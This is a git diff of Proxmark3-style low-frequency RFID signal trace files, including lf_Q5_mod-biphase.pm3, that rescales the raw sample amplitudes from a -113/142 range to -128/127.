+-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +4 +51 +84 +114 +76 +17 +-42 +-88 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +76 +17 +-33 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-8 +42 +80 +59 +12 +-33 +-71 +-37 +12 +63 +97 +72 +21 +-29 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-37 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +118 +80 +17 +-37 +-84 +-118 +-80 +-25 +25 +72 +101 +68 +12 +-42 +-88 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +8 +-33 +-71 +-37 +12 +63 +97 +72 +21 +-29 +-63 +-33 +17 +63 +101 +68 +21 +-29 +-67 +-33 +12 +63 +97 +68 +17 +-33 +-71 +-37 +12 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-37 +12 +59 +97 +68 +21 +-29 +-63 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-37 +12 +59 +93 +63 +8 +-37 +-76 +-46 +4 +51 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-46 +-80 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-46 +-84 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +63 +8 +-42 +-88 +-118 +-80 +-20 +34 +76 +110 +76 +21 +-29 +-71 +-105 +-63 +-8 +46 +89 +123 +89 +34 +-20 +-67 +-101 +-59 +-3 +46 +89 +118 +80 +25 +-29 +-76 +-109 +-71 +-16 +38 +76 +110 +76 +17 +-33 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +25 +-25 +-67 +-33 +12 +59 +93 +63 +12 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-84 +-118 +-80 +-25 +25 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-114 +-71 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-25 +-71 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-37 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +4 +51 +89 +114 +76 +17 +-42 +-88 +-118 +-80 +-25 +25 +72 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +76 +17 +-33 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-105 +-67 +-8 +46 +84 +59 +12 +-33 +-67 +-33 +17 +68 +101 +76 +25 +-20 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +55 +93 +118 +76 +17 +-37 +-84 +-122 +-84 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-122 +-80 +-25 +25 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +17 +-33 +-80 +-114 +-71 +-12 +38 +80 +114 +80 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-25 +-71 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-8 +42 +84 +59 +12 +-33 +-67 +-33 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +68 +101 +72 +21 +-29 +-67 +-33 +12 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +8 +-42 +-88 +-122 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-71 +-105 +-67 +-8 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +12 +59 +93 +68 +17 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +4 +-46 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +110 +72 +8 +-42 +-92 +-126 +-88 +-29 +21 +68 +97 +63 +8 +-46 +-88 +-122 +-84 +-25 +25 +72 +101 +72 +12 +-37 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +17 +-33 +-80 +-109 +-71 +-12 +38 +80 +110 +76 +17 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +80 +21 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-71 +-105 +-67 +-8 +42 +84 +118 +80 +25 +-25 +-71 +-105 +-63 +-3 +51 +89 +68 +21 +-25 +-63 +-25 +25 +76 +110 +84 +34 +-16 +-54 +-20 +25 +72 +106 +76 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-50 +0 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +114 +76 +17 +-42 +-88 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +21 +-29 +-76 +-105 +-67 +-8 +42 +84 +59 +12 +-33 +-71 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +12 +-33 +-71 +-37 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-37 +12 +59 +97 +68 +21 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +0 +46 +80 +51 +0 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-46 +-80 +-50 +0 +46 +84 +55 +8 +-42 +-84 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +34 +76 +110 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +25 +-29 +-71 +-105 +-67 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-20 +-59 +-29 +21 +63 +101 +72 +17 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 diff --git a/traces/lf_Q5_mod-biphase.pm3 b/traces/lf_Q5_mod-biphase.pm3 index b75833f4c..48629e36c 100644 --- a/traces/lf_Q5_mod-biphase.pm3 +++ b/traces/lf_Q5_mod-biphase.pm3 @@ -1,24000 +1,24000 @@ --113 --113 +-128 +-128 +-111 +-104 +-97 +-107 +-100 -96 --89 --82 --92 --85 +-74 +-86 -81 --59 --71 --66 --61 --57 --54 --50 --47 --43 --40 --37 --35 --33 --31 --28 --27 --25 --23 --22 --20 --19 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -109 -105 -100 -95 -89 -84 -78 -73 -67 -61 -56 -52 -47 -44 -40 -37 -34 -32 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -13 -11 -10 -9 -9 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --86 --80 --59 --70 --66 --61 --57 --54 --50 --47 --44 --41 --38 --35 --33 --31 --28 --26 --25 --23 --22 --20 --18 --18 --16 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -118 -115 -112 -108 -104 -100 -96 -90 -85 -79 -73 -68 -62 -57 -53 -47 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -15 -13 -13 -11 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -114 -106 -99 -95 -93 -91 -89 -87 -83 -80 -76 -72 -67 -62 -57 --35 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --91 --86 --64 -76 --54 +-72 +-69 -65 -62 -58 --53 --50 --47 --44 --41 --37 --35 --33 --31 --29 --27 --25 --23 --22 --20 --18 --17 --16 --14 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -133 -124 -119 -114 -111 -107 -104 -100 -96 -90 -85 -79 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --94 --87 --97 -127 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -107 -102 -98 -95 -94 -91 -89 -85 -81 -77 -72 -67 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --82 -122 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -116 -107 -101 -97 -95 -93 -90 -89 -85 -82 -77 -73 -68 -63 -57 -52 -48 -43 -39 -35 -33 -30 -28 -26 -24 -22 -21 -19 -18 -16 -15 -14 -12 -11 -10 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -1 -2 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --91 --86 --80 --59 --70 --65 --61 --57 --53 --50 --46 --43 --41 --38 --35 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -114 -112 -108 -105 -100 -95 -90 -85 -79 -73 -67 -62 -56 -52 -47 -43 -40 -36 -33 -31 -28 -27 -25 -22 -21 -20 -18 -17 -15 -15 -13 -13 -12 -11 -9 -9 -8 -8 -6 -5 -5 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --88 --82 --92 --86 --80 --58 --70 --66 --61 --57 --54 --50 --47 --43 --41 --38 --35 --33 --30 --28 --26 --24 --23 --21 --20 --18 --17 --16 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -120 -115 -112 -108 -105 -100 -95 -89 -84 -78 -73 -67 -61 -56 -52 -47 -43 -40 -37 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -6 -6 -5 -5 -5 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --97 --92 --87 --82 --59 --70 --66 --62 --57 --53 +-55 +-52 -50 -48 --45 --41 --39 --36 --33 +-46 +-43 +-42 +-40 +-38 +-37 +-35 +-34 +-32 -31 +-30 +-29 -28 -27 --24 --23 --21 --20 --18 --17 --15 --14 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -118 -113 -111 -107 -105 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 100 -95 -89 +97 +94 +90 85 -79 -73 -67 -62 -57 +80 +74 +69 +63 +58 52 -47 -43 -39 +46 +41 37 -34 -31 +32 29 -27 25 -23 -21 -20 -18 +22 +19 17 -16 -15 14 -13 -11 +12 10 -9 -9 8 -7 6 5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --93 --87 +3 +2 +0 +-1 +-2 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 -79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-95 +-74 +-85 +-81 +-76 +-72 +-69 +-65 +-62 -59 --70 --66 --61 -56 -53 -50 --47 --43 --40 --38 --35 --33 --31 --29 --26 --25 --23 --21 --20 --19 --18 --16 --15 --14 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -124 -119 -114 -111 -108 -104 -99 -95 -90 -85 -79 -73 -67 -61 -56 -52 -47 -43 -40 -36 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -13 -12 -12 -11 -10 -9 -8 -8 -7 -7 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --86 --81 --59 --70 --65 --62 --58 --53 --49 +-48 -46 -43 +-41 -40 +-38 -37 -35 -33 --30 --28 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -111 -107 -104 -99 -95 -90 -85 -79 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -32 -29 -27 -25 -23 -21 -19 -17 -16 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -5 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 --92 --86 --81 --58 --69 --65 --62 --57 --53 --50 --47 --44 --41 --38 --35 --33 --30 --28 --26 --24 --23 --21 --19 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -119 -115 -113 -108 -105 -100 -95 -90 -84 -78 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -31 -28 -27 -25 -22 -21 -20 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -7 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --97 --92 --86 --81 --58 --70 --66 --62 --57 --53 --50 --47 --44 --40 --38 --36 --33 --30 --28 --27 --25 --22 --21 --20 --19 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -119 -114 -111 -107 -103 -99 -95 -90 -85 -78 -73 -67 -62 -57 -52 -47 -43 -40 -37 -33 -31 -29 -27 -25 -23 -21 -19 -17 -17 -15 -14 -13 -13 -11 -11 -9 -9 -8 -7 -6 -5 -4 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --91 -119 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -114 -106 -100 -96 -93 -91 -89 -87 -83 -80 -75 -71 -65 -61 -56 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --92 --86 --64 --75 --53 --65 --61 --57 --53 --49 --46 --44 --41 --38 --35 --33 --31 --28 --26 --25 --23 --21 --19 --18 --18 --17 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -119 -114 -112 -108 -105 -100 -95 -90 -85 -79 -74 -67 -62 -57 -52 -47 -43 -40 -37 -33 -31 -28 -26 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 --93 --86 --81 --60 --71 --66 --61 --57 --53 --50 --46 --43 --40 --38 --35 -33 -31 -29 +-28 -27 +-26 -25 --23 --22 --20 --19 --17 --16 --15 --14 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -119 -114 -112 -108 -104 -100 -96 -90 -85 -79 -73 -67 -62 -57 -52 -47 -44 -40 -37 -33 -31 -28 -26 -24 -23 -21 -20 -19 -17 -16 -15 -14 -13 -11 -11 -9 -8 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --87 --82 --92 --87 --82 --59 --70 --66 --63 --58 --53 --50 --47 --45 --41 --38 --36 --33 --31 --29 --27 --25 --23 --22 --20 --19 --17 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -133 -123 -118 -115 -111 -107 -104 -99 -95 -90 -84 -78 -72 -67 -62 -57 -53 -47 -43 -40 -37 -34 -31 -29 -27 -24 -23 -21 -20 -19 -17 -16 -15 -13 -13 -11 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 127 -113 -104 -99 -97 -94 -92 -90 -87 -84 -81 -76 -71 -65 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --92 --87 --65 --75 --54 --65 --62 --57 --53 --50 --47 --44 --41 --38 --36 --33 --31 --29 --27 --24 --22 --21 --20 --18 --16 --16 --15 --14 --12 --11 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -140 -129 -122 -119 -114 -109 -105 -102 -100 -95 -87 -82 -76 -71 -65 -59 -53 -49 -45 -41 -37 -34 -31 -29 -26 -24 -22 -20 -19 -17 -15 -14 -13 -12 -11 -9 -8 -7 -7 -6 -5 -4 -3 -3 -2 -2 -2 --83 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --89 --82 --91 --85 --80 --59 --69 --65 --61 --57 --53 --49 --46 --43 --41 --37 --35 --33 --31 --28 --26 --24 --23 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -108 -104 -99 -95 -89 -84 -78 -72 -66 -61 -56 -52 -47 -44 -41 -37 -34 -31 -29 -27 -25 -23 -21 -19 -18 -17 -15 -14 -13 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 